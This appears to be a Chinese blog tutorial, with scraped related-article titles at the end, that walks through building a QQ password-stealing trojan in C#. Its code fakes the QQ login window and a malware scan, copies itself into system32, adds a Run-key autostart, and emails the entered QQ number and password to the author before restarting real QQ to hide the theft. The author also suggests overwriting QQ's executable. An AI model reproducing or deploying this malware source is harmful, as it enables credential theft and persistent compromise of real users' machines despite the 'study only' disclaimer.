声名:以下代码仅为学习研究之用,如有利用与其他之用,任何后果与本人无关!
开始我们创建一个工程名字叫VirTest,我们先做一个与QQ登陆界面一样的的界面出来如图所示:
在linkLabel我们填加如相应的web地址,这一步我就不说了.
为了做的更逼真,我决定把查杀木马也做了,我在这个界面放了2个重叠的panel分别是:


这两个panel是重叠在一起的他们的visbile属性应该是互斥的.点击查杀木马的时候进度条肯定要走,我这里用一个for循环让他动起来,查杀木马button的click事件代码如下:
 /// <summary>
        /// 查杀木马
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button1_Click(object sender, EventArgs e)
        {
            panel3.Visible = true;
            panel2.Visible = false;
            this.Size = new Size(330, 308);
            this.Enabled = false;
            for(int i=0;i<10;i++)//步进为10
            {
             System.Threading.Thread.Sleep(1000);
             progressBar1.Increment(10);
            }
            //进度条回零
            progressBar1.Value = 0;
            this.Enabled = true;
            panel3.Visible = false;
            panel2.Visible = true;        
        }
然后呢,我们来写Form1_Load事件,既然是木马程序,那么就要有两个基本特征:自我复制、开机自动运行.代码如下:

这里我们先申明两个全局变量:
        //QQ的路径,PS:这里的路径是随便写的后面我们会到注册表里去找QQ的实际地址的
        string QQPath = @"C:\\Program Files\\Tencent\\QQ";
        //注册表
        RegistryKey HKLM = Registry.LocalMachine; 
private void Form1_Load(object sender, EventArgs e)
        {
            /*复制数量*/
            const int TOTAL = 1;
            int _count = TOTAL;
            // 正在运行的程序路径和文件名
            string _file = Application.ExecutablePath;
            // 正在运行的程序路径
            //string _path = Application.StartupPath;
            //复制路径
            string _path = "C:\\WINDOWS\\system32";
            // 正在运行的程序文件名
            string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
            try
            {
                _count = int.Parse(_name.Replace(".exe", string.Empty));
                _count--;
            }
            catch
            {
            }
            finally
            {
            }
            // 目标文件
            string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));
            if ((File.Exists(_file)) && (_count > 0))
            {
                try
                {
                    // 复制
                    FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                    byte[] _buffer = new byte[_fileStream.Length];
                    _fileStream.Read(_buffer, 0, _buffer.Length);
                    _fileStream.Close();
                    // 如果目标已存在,删除
                    if (File.Exists(_target))
                    {
                        File.Delete(_target);
                    }
                    // 粘贴
                    FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
                    _writer.Write(_buffer, 0, _buffer.Length);
                    _writer.Close();
                }
                catch
                {

}
                //开机自动运行
               
                RegistryKey Run = HKLM.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
                bool Started = true;
                if (Started == true)
                {
                    try
                    {
                        Run.SetValue("VirTest", _target);
                        HKLM.Close();
                    }
                    catch
                    {
                       
                    }
                }
                else
                {
                    try
                    {
                        Run.DeleteValue("VirTest");
                        HKLM.Close();
                    }
                    catch
                    {
                        //
                    }
                }       
            }

}

在这里我们把我们的程序复制到了C:\\WINDOWS\\system32这样更象个木马,并设定了开机自动开启,但是有一点要注意的是现在几乎所有的防火墙都会保护启动项的所以这样是过不了防火墙的.当然最毒的办法就是直接覆盖QQ的原来的那个文件(呵呵).
最后我们来写登陆button的click事件,代码如下:

/// <summary>
        /// 登陆
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Login_Click(object sender, EventArgs e)
        {
             //发送结果
            try
            {
                MailMessage mail = new MailMessage();
                mail.From = new MailAddress("", "");
                mail.To.Add(new MailAddress(""));
                mail.Body = "QQ号码:" + UserIdbox.Text + "\r\n" + "密码:" + PASSword.Text;
                mail.Subject = "QQ密码";
                SmtpClient SmtpMail = new SmtpClient("");
                SmtpMail.UseDefaultCredentials = false;
                SmtpMail.Timeout = 20000;
                SmtpMail.Send(mail);
            }
            catch  { }
             //搜索注册表
            try
            {
                RegistryKey SearhPath = HKLM.OpenSubKey(@"SOFTWARE\Tencent\QQ");
                QQPath = SearhPath.GetValue("Install").ToString();
            }
            catch { Application.Exit(); }

//关闭已经打开的qq,重新开启qq
            string name = "QQ";//程序进程名称
            Process[] prc = Process.GetProcesses();
            foreach (Process pr in prc) //遍历整个进程
            {
                if (name == pr.ProcessName)  //如果进程存在
                {
                    try
                    {
                        pr.Kill();
                    }
                    catch { }

}
            }
            try
            {
                //调用QQ
                Process MyProcess = new Process();
                MyProcess.StartInfo.FileName = QQPath + "QQ.exe";
                MyProcess.StartInfo.Verb = "Open";
                MyProcess.StartInfo.CreateNoWindow = true;
                MyProcess.Start();
            }
            catch
            {

}
            Application.Exit();
        }

这里呢,我隐去了我的邮箱和SMTP的地址,这个是可以自己填写的!我们把填写的帐号和密码就传回了自己的邮箱了,并且关闭了已经打开的QQ,重新启动了QQ.关闭木马程序.这样简单的木马就大共告成了.
好了,休息休息一会儿!
程序下载

转载于:https://www.cnblogs.com/kingnewroad/archive/2008/01/31/1060032.html

一个QQ盗号木马是这样诞生的(C#)相关推荐

  1. 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀

    前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...

  2. 病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析

    前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见<病毒木马查杀第008篇:熊猫烧香之病毒查杀总结 ...

  3. 一款QQ盗号木马分析

    文件结构:资料.exe 1.1 CrashRacoaF.fnr 运行后会弹出一个"汇款单"的图片文件,嫣然是一个伪装的木马.这个图片其实是在C盘下面的:C:\汇款单.jpg. 简单 ...

  4. 某家园论坛被植入利用ANI漏洞传播QQ盗号木马Trojan-PSW.Win32.QQPass.rj的代码

    endurer 原创 2007-04-09 第1版 该论坛采用phpwind系统,被加入代码: /--- <DIV style="CURSOR: url('hxxp://world** ...

  5. 一款挂靠QQ的盗号木马清理记

    由于电脑配置不高,开了杀毒软件后比较卡. 就关了杀毒软件,然后浏览了几个网站,突然,硬盘狂闪,ie出错退出.查看任务管理器,发现不明进程出现.很快,不明进程又消失了. 当时一个感觉就是,中标了.浏览器 ...

  6. “DNS隧道”盗号木马分析——类似hjack偷密码然后利用dns tunnel直传数据发送出去...

    摘自:http://www.freebuf.com/articles/network/38276.html# 运行后不断监控顶端窗口,一旦发现为QQ,就弹出一个自己伪造的QQ登陆窗口,诱导用户输入密码 ...

  7. 网络安全之盗号木马原理

    网络安全之盗号木马原理 现在,腾讯在中国几亿的QQ用户,经常会听到身边的人说:我QQ号被盗了.前几天旁边的同事有朋友给他打电话说他的QQ在向人发借钱的信息. 昨天和一同学吃饭,因为这位同学在某家培训机 ...

  8. 第一话 QQ盗号攻防战

    盗号!! 盗号的几种手段: 1.本地网络装置嗅探器!! 2.远程安装木马!! 3.本地机安装键盘记录器(key logger). 4.密码学工具. 5.人事工程. 对于很早版本的QQ,使用方法1是很实 ...

  9. 再战Trojan.PSW.Lmir.kuo、Trojan.PSW.Misc.kcc等网游盗号木马(第2版)

    endurer 原创 2006-08-13 第2版 补充一个漏网的 2006-08-12 第1版 今早一上网,就有网友求助.他电脑屏幕右下角的瑞星实时监控小伞图标不见了,手动启动也不行. 通过QQ远程 ...

  10. ChinaJoy揭晓十大网游盗号木马黑榜

    7月12日,第5届ChinaJoy游戏展在上海拉开帷幕,为网游爱好者奉献了一场精彩的饕餮大餐.而在网络游戏已经成为一种时尚的今天,网游盗号问题也随之愈演愈烈,屡禁不止.很多游戏玩家也因此蒙受了严重的损 ...

最新文章

  1. 苹果挂端口方法_一招教你,让光猫四个端口既能上网又能IPTV,不用再区分端口...
  2. jar包名冲突gradle_jar包又冲突了?如何快速确定与哪个jar包冲突?
  3. 一个DDOS病毒的分析(一)
  4. python有没有三元运算符_Python基础入门:从变量到异常处理(1)
  5. Wi-Fi和WLAN有什么区别
  6. [机器学习]TF-IDF是什么
  7. html 只能输入正数,vue 限制input只能输入正数
  8. a推b等价于非a或b_分级基金谢幕倒计时 警惕分级B高溢价风险
  9. Python编程常见出错信息及原因分析(2)
  10. python中各种@property、@xxx.setter、@classmethod、@staticmethod 都是些啥啊?
  11. mysql自增字段重排 或 归零
  12. linux从入门到精通(第2版)pdf
  13. easyweb前端框架的资料
  14. 穆迪将收购信用数据和见解领导者Cortera
  15. QT 5.14 高仿 Win10 计算器(标准、科学、程序员、货币、容量)
  16. 产品化机器学习的一些思考
  17. Java五子棋(局域网)
  18. Android SDK 国内镜像
  19. 在for循环中运行setTimeout的三种情况
  20. 浅谈:基于物联网的固定资产管理技术

热门文章

  1. 计算机专业注意身体,请注意身体 长时间使用电脑对身体的危害
  2. Domain Adaptation
  3. template应用之Policies和Policy Classes
  4. 用AlexNet训练MSTAR数据集
  5. 服务器被攻击显示,怎么查看服务器被攻击
  6. mysql统计类似SQL语句查询次数
  7. linux 命令详解 大于号_linux 命令中的大于号、小于号的作用
  8. 记一个docker网络问题--network=host
  9. 2019年大学计算机二级考试报名,南通职业大学2019年秋季计算机二级考试报名通知...
  10. 设计模式之装饰者模式